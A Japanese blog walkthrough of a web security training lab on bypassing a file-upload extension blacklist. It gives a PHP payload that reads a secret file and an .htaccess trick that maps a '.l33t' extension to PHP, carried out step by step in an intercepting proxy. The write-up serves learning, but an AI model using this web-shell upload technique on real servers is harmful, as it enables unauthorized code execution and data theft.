academy ファイルアップロード 4問目 拡張機能のブラックリストバイパスによるWebシェルのアップロード

WEBセキュリティー

Web shell upload via extension blacklist bypass

wienerでログイン、アバター画像をアップして、My accountに戻ります

ヒストリーから、
GET /files/avatars/xx.jpg
リクエストを探しリピータに

*フィルターで、imagesにチェックを入れると表示されます。

exploit.phpの名前で以下のファイルを作ります

<?php echo file_get_contents('/home/carlos/secret'); ?>

アバター画面からアップロードしてみます。

Sorry, php files are not allowed Sorry, there was an error uploading your file.
と表示されました。

phpの拡張子チェックがかかっているようです

ヒストリーで
POST /my-account/avatar
を探し、リピータに

filenameパラメータを .htaccess
Content-Typeヘッダー text/plain
phpの部分を AddType application/x-httpd-php .l33t

に変更します

これは、.htacessファイルに、phpファイルを .133t拡張子でも動作するよう登録してます。
事前の仕込みですね。

sendすると、アップロード成功したようです

もう一度、ヒストリーから
POST /my-account/avatar リクエストをリピータに

filenameパラメータ exploit.l33t
で、sendします

アップロード成功したようです

GET /files/avatars/xx.jpgを含む、リピータのタブに切り替え
ファイル名を、exploit.l33t に
send

アップしたphpファイルが実行されたようです
秘密のファイルを、Submit solutionに

クリア!

–)v

コメント

タイトルとURLをコピーしました